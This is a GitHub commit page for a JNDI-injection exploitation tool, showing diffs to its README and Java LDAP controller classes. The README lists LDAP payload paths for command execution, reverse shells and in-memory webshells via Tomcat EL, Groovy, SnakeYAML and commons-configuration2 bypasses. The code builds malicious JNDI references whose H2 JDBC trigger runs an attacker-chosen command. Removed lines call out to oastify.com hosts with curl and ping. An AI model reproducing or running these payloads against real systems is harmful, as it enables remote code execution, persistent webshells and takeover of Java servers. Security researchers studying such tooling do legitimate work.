Skip to content

Commit 12801aa

Browse files
shadowsock5shadowsock5
committed
fix issues
1 parent 6f86d8b commit 12801aa

12 files changed

+135
-219
lines changed

‎README.md

+26-23
Original file line numberDiff line numberDiff line change
@@ -49,29 +49,32 @@ Supported LADP Queries
4949
ldap://127.0.0.1:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
5050
ldap://127.0.0.1:1389/Deserialization/CVE_2020_2883/WeblogicMemshell2 ---ALSO support other memshells
5151
52-
[+] TomcatBypass Queries
53-
ldap://127.0.0.1:1389/TomcatBypass/Dnslog/[domain]
54-
ldap://127.0.0.1:1389/TomcatBypass/Command/[cmd]
55-
ldap://127.0.0.1:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]
56-
ldap://127.0.0.1:1389/TomcatBypass/ReverseShell/[ip]/[port] ---windows NOT supported
57-
ldap://127.0.0.1:1389/TomcatBypass/TomcatEcho
58-
ldap://127.0.0.1:1389/TomcatBypass/SpringEcho
59-
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell1
60-
ldap://127.0.0.1:1389/TomcatBypass/TomcatMemshell2 ---need extra header [Shell: true]
61-
ldap://127.0.0.1:1389/TomcatBypass/SpringMemshell
62-
63-
[+] GroovyBypass Queries
64-
ldap://127.0.0.1:1389/GroovyBypass/Command/[cmd]
65-
ldap://127.0.0.1:1389/GroovyBypass/Command/Base64/[base64_encoded_cmd]
66-
67-
[+] WebsphereBypass Queries
68-
ldap://127.0.0.1:1389/WebsphereBypass/List/file=[file or directory]
69-
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Dnslog/[domain]
70-
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/[cmd]
71-
ldap://127.0.0.1:1389/WebsphereBypass/Upload/Command/Base64/[base64_encoded_cmd]
72-
ldap://127.0.0.1:1389/WebsphereBypass/Upload/ReverseShell/[ip]/[port] ---windows NOT supported
73-
ldap://127.0.0.1:1389/WebsphereBypass/Upload/WebsphereMemshell
74-
ldap://127.0.0.1:1389/WebsphereBypass/RCE/path=[uploaded_jar_path] ----e.g: ../../../../../tmp/jar_cache7808167489549525095.tmp
52+
[+] tomcatelbypass(javax.script.ScriptEngineManager), 2tomcatelbypass(jdk.jshell.JShell) Queries
53+
ldap://127.0.0.1:1389/tomcatelbypass/Dnslog/[domain]
54+
ldap://127.0.0.1:1389/tomcatelbypass/Command/[cmd]
55+
ldap://127.0.0.1:1389/tomcatelbypass/Command/Base64/[base64_encoded_cmd]
56+
ldap://127.0.0.1:1389/tomcatelbypass/ReverseShell/[ip]/[port]
57+
ldap://127.0.0.1:1389/tomcatelbypass/TomcatEcho
58+
ldap://127.0.0.1:1389/tomcatelbypass/SpringEcho
59+
ldap://127.0.0.1:1389/tomcatelbypass/TomcatMemshell1
60+
ldap://127.0.0.1:1389/tomcatelbypass/TomcatMemshell2
61+
ldap://127.0.0.1:1389/tomcatelbypass/SpringMemshell
62+
63+
cmd: ls -al
64+
Testecho: whatever
65+
66+
67+
[+] commonsconfiguration2(org.apache.commons.configuration2.SystemConfiguration) Queries
68+
ldap://127.0.0.1:1389/commonsconfiguration2/url/base64/[base64encoded url]
69+
70+
[+] tomcatsnakeyaml Queries
71+
ldap://127.0.0.1:1389/tomcatsnakeyaml/url/base64/[base64encoded url]
72+
73+
74+
[+] tomcatgroovybypass Queries
75+
ldap://127.0.0.1:1389/tomcatgroovybypass/Command/[cmd]
76+
ldap://127.0.0.1:1389/tomcatgroovybypass/Command/Base64/[base64_encoded_cmd]
77+
7578
```
7679
* 目前支持的所有 ```PayloadType``` 为
7780
* ```Dnslog```: 用于产生一个```DNS```请求，与 ```DNSLog```平台配合使用，对```Linux/Windows```进行了简单的适配

‎src/main/java/com/feihong/ldap/controllers/DbcpController.java

+3-1
Original file line numberDiff line numberDiff line change
@@ -79,10 +79,12 @@ private static Reference commons_dbcp1_RCE(){
7979

8080

8181
private static Reference dbcpByFactory(String factory){
82+
String cmd = "calc"; // 修改这里
83+
8284
Reference ref = new Reference("javax.sql.DataSource",factory,null);
8385
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
8486
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
85-
"java.lang.Runtime.getRuntime().exec('curl xxxxxxxx.oastify.com/h2_dbcp_jndibypass')\n" +
87+
"java.lang.Runtime.getRuntime().exec('" + cmd + "')\n" +
8688
"$$\n";
8789
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
8890
ref.add(new StringRefAddr("url",JDBC_URL));

‎src/main/java/com/feihong/ldap/controllers/H2BasicDataSourceFactoryController.java

+37-11
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
package com.feihong.ldap.controllers;
22

3+
import com.feihong.ldap.enumtypes.PayloadType;
34
import com.feihong.ldap.exceptions.IncorrectParamsException;
45
import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException;
56
import com.feihong.ldap.template.SpringMemshellTemplate;
@@ -23,14 +24,17 @@
2324
@LdapMapping(uri = { "/h2bdsfc" })
2425
public class H2BasicDataSourceFactoryController implements LdapController {
2526

27+
private PayloadType type;
28+
private String[] params;
29+
2630
@Override
2731
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
2832
System.out.println("[+] Sending LDAP ResourceRef result for " + base);
2933

3034
Entry e = new Entry(base);
3135
e.addAttribute("javaClassName", "java.lang.String"); //could be any
3236
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
33-
javax.naming.Reference ref = tomcat_dbcp1_RCE();
37+
javax.naming.Reference ref = tomcat_dbcp1_RCE(params[0]);
3438

3539
e.addAttribute("javaSerializedData", Util.serialize(ref));
3640

@@ -42,26 +46,48 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro
4246

4347
@Override
4448
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
49+
try{
50+
int firstIndex = base.indexOf("/");
51+
int secondIndex = base.indexOf("/", firstIndex + 1);
52+
if(secondIndex < 0) secondIndex = base.length();
53+
54+
//因为我对 grovvy 的语法完全不懂，所以目前只支持执行命令这一种形式的 PayloadType
55+
String payloadType = base.substring(firstIndex + 1, secondIndex);
56+
if(payloadType.equalsIgnoreCase("command")){
57+
type = PayloadType.valueOf("command");
58+
System.out.println("[+] Paylaod: " + type);
59+
}else{
60+
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType: " + payloadType);
61+
}
62+
63+
String cmd = Util.getCmdFromBase(base);
64+
System.out.println("[+] Command: " + cmd);
65+
params = new String[]{cmd};
66+
}catch(Exception e){
67+
if(e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException)e;
68+
69+
throw new IncorrectParamsException("Incorrect params: " + base);
70+
}
4571
}
4672

4773

48-
private static Reference tomcat_dbcp2_RCE(){
49-
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
74+
private static Reference tomcat_dbcp2_RCE(String cmd){
75+
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", cmd);
5076
}
51-
private static Reference tomcat_dbcp1_RCE(){
52-
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
77+
private static Reference tomcat_dbcp1_RCE(String cmd){
78+
return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory", cmd);
5379
}
54-
private static Reference commons_dbcp2_RCE(){
55-
return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
80+
private static Reference commons_dbcp2_RCE(String cmd){
81+
return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory", cmd);
5682
}
57-
private static Reference commons_dbcp1_RCE(){
58-
return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
83+
private static Reference commons_dbcp1_RCE(String cmd){
84+
return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory", cmd);
5985
}
60-
private static Reference dbcpByFactory(String factory){
86+
private static Reference dbcpByFactory(String factory, String cmd){
6187
Reference ref = new Reference("javax.sql.DataSource",factory,null);
6288
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
6389
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
64-
"java.lang.Runtime.getRuntime().exec('ping basicdatasourcefatory.xxx.oastify.com')\n" +
90+
"java.lang.Runtime.getRuntime().exec('" + cmd + "')\n" +
6591
"$$\n";
6692
ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
6793
ref.add(new StringRefAddr("url",JDBC_URL));

‎src/main/java/com/feihong/ldap/controllers/H2ClassPathXmlApplicationContext.java

+1-1
Original file line numberDiff line numberDiff line change
@@ -112,7 +112,7 @@ public void process(String base) throws UnSupportedPayloadTypeException, Incorre
112112
switch (type){
113113
case url:
114114
String url = Util.getUrlFromBase(base);
115-
System.out.println("[+] XXE xml url: " + url);
115+
System.out.println("[+] Spring xml url: " + url);
116116
params = new String[]{url}; // 设置好url，待sendResult方法内使用
117117
break;
118118
}

‎src/main/java/com/feihong/ldap/controllers/SerializedDataController2.java

-85
This file was deleted.

‎src/main/java/com/feihong/ldap/controllers/SerializedDataController3.java

-85
This file was deleted.

‎src/main/java/com/feihong/ldap/controllers/TomcatELBypass2Controller.java

+1
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@
2020
*/
2121

2222
@LdapMapping(uri = { "/2tomcatelbypass" })
23+
// JDK > 15, using jdk.jshell.JShell
2324
public class TomcatELBypass2Controller implements LdapController {
2425
private PayloadType type;
2526
private String[] params;

‎src/main/java/com/feihong/ldap/controllers/TomcatELBypassController.java

+1
Original file line numberDiff line numberDiff line change
@@ -21,6 +21,7 @@
2121
*/
2222

2323
@LdapMapping(uri = { "/tomcatelbypass" })
24+
// JDK < 15, using javax.script.ScriptEngineManager
2425
public class TomcatELBypassController implements LdapController {
2526
private PayloadType type;
2627
private String[] params;

0 commit comments

Comments
 (0)